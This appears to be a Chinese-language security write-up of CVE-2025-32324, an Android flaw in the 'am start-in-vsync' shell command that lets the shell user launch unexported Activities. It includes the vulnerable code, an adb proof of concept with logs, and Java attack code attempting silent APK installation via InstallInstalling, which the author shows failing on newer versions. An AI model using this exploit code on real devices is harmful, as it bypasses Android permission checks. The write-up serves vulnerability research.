CVE-2025-32324 漏洞分析


简介

在ActivityManagerShellCommand的start-in-vsync命令中存在鉴权信息未正确传递的问题,导致可以通过这个接口实现LaunchAnyWhere,拉起系统中任意未导出的Activity。

漏洞分析

代码比较简单:

//...
case "start":
case "start-activity":
    return runStartActivity(pw);
case "start-in-vsync":
    final ProgressWaiter waiter = new ProgressWaiter(0);
    final int[] startResult = new int[1];
    startResult[0] = -1;
    mInternal.mUiHandler.runWithScissors(
            () -> Choreographer.getInstance().postFrameCallback(frameTimeNanos -> {
                try {
                    startResult[0] = runStartActivity(pw);
                    waiter.onFinished(0, null /* extras */);
                } catch (Exception ex) {
                    getErrPrintWriter().println(
                            "Error: unable to start activity, " + ex);
                }
            }),
            USER_OPERATION_TIMEOUT_MS / 2);
    waiter.waitForFinish(USER_OPERATION_TIMEOUT_MS);
    return startResult[0];
//...

和正常的start-activity命令比较,主要差异就是start-in-vsync是在ATMS的mUiHandler中执行runStartActivity的,而通过Handler进行线程间通信时,Binder中的鉴权信息会丢失,导致后续startActivityAsUserWithFeature获得的鉴权信息是system_server进程的,我们可以很容易地通过一些日志验证这一点。

//...
case "start":
case "start-activity":
    pw.println("In AMSC.onCommand: callingUid=" + Binder.getCallingUid() + ", callingPid=" + Binder.getCallingPid());
    return runStartActivity(pw);
case "start-in-vsync":
    final ProgressWaiter waiter = new ProgressWaiter(0);
    final int[] startResult = new int[1];
    startResult[0] = -1;
    mInternal.mUiHandler.runWithScissors(
            () -> Choreographer.getInstance().postFrameCallback(frameTimeNanos -> {
                try {
                    pw.println("In AMSC.onCommand: callingUid=" + Binder.getCallingUid() + ", callingPid=" + Binder.getCallingPid());
                    startResult[0] = runStartActivity(pw);
                    waiter.onFinished(0, null /* extras */);
                } catch (Exception ex) {
                    getErrPrintWriter().println(
                            "Error: unable to start activity, " + ex);
                }
            }),
            USER_OPERATION_TIMEOUT_MS / 2);
    waiter.waitForFinish(USER_OPERATION_TIMEOUT_MS);
    return startResult[0];
//...

PoC

$ adb shell am start -n com.android.settings/.SubSettings
In AMSC.onCommand: callingUid=2000, callingPid=3873
Starting: Intent { cmp=com.android.settings/.SubSettings }

Exception occurred while executing 'start':
java.lang.SecurityException: Permission Denial: starting Intent { flg=0x10000000 cmp=com.android.settings/.SubSettings } from null (pid=3873, uid=2000) not exported from uid 1000
        at com.android.server.wm.ActivityTaskSupervisor.checkStartAnyActivityPermission(ActivityTaskSupervisor.java:1184)
        at com.android.server.wm.ActivityStarter.executeRequest(ActivityStarter.java:1223)
        at com.android.server.wm.ActivityStarter.execute(ActivityStarter.java:865)
        at com.android.server.wm.ActivityTaskManagerService.startActivityAsUser(ActivityTaskManagerService.java:1321)
        at com.android.server.wm.ActivityTaskManagerService.startActivityAsUser(ActivityTaskManagerService.java:1262)
        at com.android.server.am.ActivityManagerService.startActivityAsUserWithFeature(ActivityManagerService.java:3245)
        at com.android.server.am.ActivityManagerShellCommand.runStartActivity(ActivityManagerShellCommand.java:869)
        at com.android.server.am.ActivityManagerShellCommand.onCommand(ActivityManagerShellCommand.java:251)
        at com.android.modules.utils.BasicShellCommandHandler.exec(BasicShellCommandHandler.java:97)
        at android.os.ShellCommand.exec(ShellCommand.java:38)
        at com.android.server.am.ActivityManagerService.onShellCommand(ActivityManagerService.java:10406)
        at android.os.Binder.shellCommand(Binder.java:1143)
        at android.os.Binder.onTransact(Binder.java:945)
        at android.app.IActivityManager$Stub.onTransact(IActivityManager.java:5733)
        at com.android.server.am.ActivityManagerService.onTransact(ActivityManagerService.java:2721)
        at android.os.Binder.execTransactInternal(Binder.java:1411)
        at android.os.Binder.execTransact(Binder.java:1350)

$ adb shell am start-in-vsync -n com.android.settings/.SubSettings
In AMSC.onCommand: callingUid=2000, callingPid=3914
In ATMS.mUiHandler: callingUid=1000, callingPid=1306
Starting: Intent { cmp=com.android.settings/.SubSettings }

可以很清楚地看到,在经过ATMS的UI Handler中执行代码后,鉴权信息丢失,导致了这次LAW漏洞的出现。

限制

这个漏洞仅存在于ActivityManagerShellCommand中,所以你无法通过任何ATMS的Binder IPC接口去触发,而只能使用am命令,这样一来我们便无法在Intent中添加任意的Parcelable参数。这样一来,这个漏洞的威力就大大被限制了————因为攻击者无法再结合其它UID>10000应用的Intent Bridge漏洞去访问其FileProvider。

利用尝试

另外一个比较容易想到的便是去攻击InstallInstalling,实现伪静默安装。但是经过测试之后发现这条路也无法行得通,攻击代码:

 public static int writeApkToPackageInstaller(Context context, File apkFile) throws IOException {
     if (!apkFile.exists() || !apkFile.getName().endsWith(".apk")) {
         Log.e(TAG, "Must use an apk file to silent install.");
         return -1;
     }
     // 打开PackageInstaller的session
     PackageInstaller pi = context.getPackageManager().getPackageInstaller();
     PackageInstaller.SessionParams params =
             new PackageInstaller.SessionParams(PackageInstaller.SessionParams.MODE_FULL_INSTALL);
     int sessionId = pi.createSession(params);
     PackageInstaller.Session session = pi.openSession(sessionId);
     // 写入apk到session
     OutputStream os = session.openWrite("package", 0, -1);
     FileInputStream fis = new FileInputStream(apkFile);
     byte[] buffer = new byte[4096];
     for (int n; (n = fis.read(buffer)) > 0;) {
         os.write(buffer, 0, n);
     }
     fis.close();
     os.flush();
     os.close();
     return sessionId;
 }
 public static void exploitCVE_2025_32324(int sessionId, File apkFile) throws IOException {
     if (!Android.checkIfSecurityPatchBefore("2025-09-01")) {
         Log.e(TAG, "Oops! It looks like CVE-2025-32324 bug has been fixed on this device.");
         return;
     }
     String[] cmd = {
             "am", "start-in-vsync",
             "-n", Constants.Package.PACKAGE_INSTALLER + "/.InstallInstalling",
             "-d", Uri.fromFile(apkFile).toString(),
             "--ei", "EXTRA_STAGED_SESSION_ID", Integer.toString(sessionId),
     };
     Process p = Runtime.getRuntime().exec(cmd);
     BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
     String output;
     while ((output = reader.readLine()) != null) {
         Log.d(TAG, output);
     }
 }
 public static void autoInstallFromAsset(Context context, String asset) throws IOException {
     File apkFile = new File(context.getCacheDir(), asset);
     Android.copyAsset(context, asset, apkFile);
     int sessionId = AndroidH.writeApkToPackageInstaller(context, apkFile);
     // 将文件复制到download目录
     // 如果文件存在会重复
     Android.copyFileToDownload(context, apkFile, apkFile.getName(),
             "application/vnd.android.package-archive");
     // 传给InstallInstalling的时候,需要是file uri
     // 因为后面是由uid 1000执行startActivityAsUser,所以不会受到FileUriExposedException的影响
     File apkFileInDownload = new File(Environment
             .getExternalStoragePublicDirectory(Environment.DIRECTORY_DOWNLOADS), apkFile.getName());
     exploitCVE_2025_32324(sessionId, apkFileInDownload);
 }

这里的问题是,正常我们是需要一个ApplicationInfo对象作为参数,而我们无法通过命令传递它:

public static Intent createInstallingIntent(Context context, int sessionId, File apkFile) {
    // 构造调用InstallInstalling的Intent
    Intent installingIntent = new Intent();
    installingIntent.setClassName(Constants.Package.PACKAGE_INSTALLER,
            Constants.Package.PACKAGE_INSTALLER + ".InstallInstalling");
    installingIntent.putExtra("EXTRA_STAGED_SESSION_ID", sessionId);
    installingIntent.setData(Uri.fromFile(apkFile));
    PackageInfo packageInfo = context.getPackageManager()
            .getPackageArchiveInfo(apkFile.getAbsolutePath(), PackageManager.GET_PERMISSIONS);
    if (packageInfo == null) {
        Log.e(TAG, "getPackageArchiveInfo returns null, failed to auto install.");
        return null;
    }
    installingIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
    // ** 命令行中无法添加此参数 **
    installingIntent.putExtra("com.android.packageinstaller.applicationInfo",
            packageInfo.applicationInfo);
    return installingIntent;
}

本来在Android 14和以前的版本,没有ApplicationInfo对象也是可以安装成功的,只是无法显示出界面,但是在下面这个补丁中对流程进行了修改:

-            PackageUtil.AppSnippet as = getIntent()
-                    .getParcelableExtra(EXTRA_APP_SNIPPET, PackageUtil.AppSnippet.class);
+
+            // Dialogs displayed while changing update-owner have a blank icon. To fix this,
+            // fetch the appSnippet from the source file again
+            PackageUtil.AppSnippet as = PackageUtil.getAppSnippet(this, appInfo, sourceFile);
+            getIntent().putExtra(EXTRA_APP_SNIPPET, as);

本来实际上拿到的appInfo对象,是在openSession开始安装之后才使用,所以appInfo为NULL的情况下即使产生了NPE,也不会影响PMS正常执行安装,只是界面无法显示而已,但是修改后的代码会使用PackageUtil.getAppSnippet去获得一个AppSnippet对象,而这里面会大量引用到appInfo,就无法在不传此参数的前提下完成利用:

/**
 * Utility method to load application label
 *
 * @param pContext context of package that can load the resources
 * @param appInfo ApplicationInfo object of package whose resources are to be loaded
 * @param sourceFile File the package is in
 */
public static AppSnippet getAppSnippet(
        Activity pContext, ApplicationInfo appInfo, File sourceFile) {
    final String archiveFilePath = sourceFile.getAbsolutePath();
    PackageManager pm = pContext.getPackageManager();
    appInfo.publicSourceDir = archiveFilePath;

    if (appInfo.splitNames != null && appInfo.splitSourceDirs == null) {
        final File[] files = sourceFile.getParentFile().listFiles(
                (dir, name) -> name.endsWith(SPLIT_APK_SUFFIX));
        final String[] splits = Arrays.stream(appInfo.splitNames)
                .map(i -> findFilePath(files, i + SPLIT_APK_SUFFIX))
                .filter(Objects::nonNull)
                .toArray(String[]::new);

        appInfo.splitSourceDirs = splits;
        appInfo.splitPublicSourceDirs = splits;
    }

    CharSequence label = null;
    // Try to load the label from the package's resources. If an app has not explicitly
    // specified any label, just use the package name.
    if (appInfo.labelRes != 0) {
        try {
            label = appInfo.loadLabel(pm);
        } catch (Resources.NotFoundException e) {
        }
    }
    if (label == null) {
        label = (appInfo.nonLocalizedLabel != null) ?
                appInfo.nonLocalizedLabel : appInfo.packageName;
    }
    Drawable icon = null;
    // Try to load the icon from the package's resources. If an app has not explicitly
    // specified any resource, just use the default icon for now.
    try {
        if (appInfo.icon != 0) {
            try {
                icon = appInfo.loadIcon(pm);
            } catch (Resources.NotFoundException e) {
            }
        }
        if (icon == null) {
            icon = pContext.getPackageManager().getDefaultActivityIcon();
        }
    } catch (OutOfMemoryError e) {
        Log.i(LOG_TAG, "Could not load app icon", e);
    }
    return new PackageUtil.AppSnippet(label, icon, pContext);
}

实际测试的日志验证了这一点,在方法开头尝试写入appInfo.publicSourceDir时便抛出NPE杀死了PackageInstaller,就不会有机会进行安装。

E  FATAL EXCEPTION: main
   Process: com.android.packageinstaller, PID: 31447
   java.lang.RuntimeException: Unable to start activity ComponentInfo{com.android.packageinstaller/com.android.packageinstaller.InstallInstalling}: java.lang.NullPointerException: Attempt to write to field 'java.lang.String android.content.pm.ApplicationInfo.publicSourceDir' on a null object reference in method 'com.android.packageinstaller.PackageUtil$AppSnippet com.android.packageinstaller.PackageUtil.getAppSnippet(android.app.Activity, android.content.pm.ApplicationInfo, java.io.File)'
    at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:4206)
    at android.app.ActivityThread.handleLaunchActivity(ActivityThread.java:4393)
    at android.app.servertransaction.LaunchActivityItem.execute(LaunchActivityItem.java:222)
    at android.app.servertransaction.TransactionExecutor.executeNonLifecycleItem(TransactionExecutor.java:133)
    at android.app.servertransaction.TransactionExecutor.executeTransactionItems(TransactionExecutor.java:103)
    at android.app.servertransaction.TransactionExecutor.execute(TransactionExecutor.java:80)
    at android.app.ActivityThread$H.handleMessage(ActivityThread.java:2773)
    at android.os.Handler.dispatchMessage(Handler.java:109)
    at android.os.Looper.loopOnce(Looper.java:232)
    at android.os.Looper.loop(Looper.java:317)
    at android.app.ActivityThread.main(ActivityThread.java:8934)
    at java.lang.reflect.Method.invoke(Native Method)
    at com.android.internal.os.RuntimeInit$MethodAndArgsCaller.run(RuntimeInit.java:591)
    at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:911)
   Caused by: java.lang.NullPointerException: Attempt to write to field 'java.lang.String android.content.pm.ApplicationInfo.publicSourceDir' on a null object reference in method 'com.android.packageinstaller.PackageUtil$AppSnippet com.android.packageinstaller.PackageUtil.getAppSnippet(android.app.Activity, android.content.pm.ApplicationInfo, java.io.File)'
    at com.android.packageinstaller.PackageUtil.getAppSnippet(PackageUtil.java:240)
    at com.android.packageinstaller.InstallInstalling.onCreate(InstallInstalling.java:99)
    at android.app.Activity.performCreate(Activity.java:9079)
    at android.app.Activity.performCreate(Activity.java:9057)
    at android.app.Instrumentation.callActivityOnCreate(Instrumentation.java:1531)
    at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:4188)
    at android.app.ActivityThread.handleLaunchActivity(ActivityThread.java:4393) 
    at android.app.servertransaction.LaunchActivityItem.execute(LaunchActivityItem.java:222) 
    at android.app.servertransaction.TransactionExecutor.executeNonLifecycleItem(TransactionExecutor.java:133) 
    at android.app.servertransaction.TransactionExecutor.executeTransactionItems(TransactionExecutor.java:103) 
    at android.app.servertransaction.TransactionExecutor.execute(TransactionExecutor.java:80) 
    at android.app.ActivityThread$H.handleMessage(ActivityThread.java:2773) 
    at android.os.Handler.dispatchMessage(Handler.java:109) 
    at android.os.Looper.loopOnce(Looper.java:232) 
    at android.os.Looper.loop(Looper.java:317) 
    at android.app.ActivityThread.main(ActivityThread.java:8934) 
    at java.lang.reflect.Method.invoke(Native Method) 
    at com.android.internal.os.RuntimeInit$MethodAndArgsCaller.run(RuntimeInit.java:591) 
    at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:911)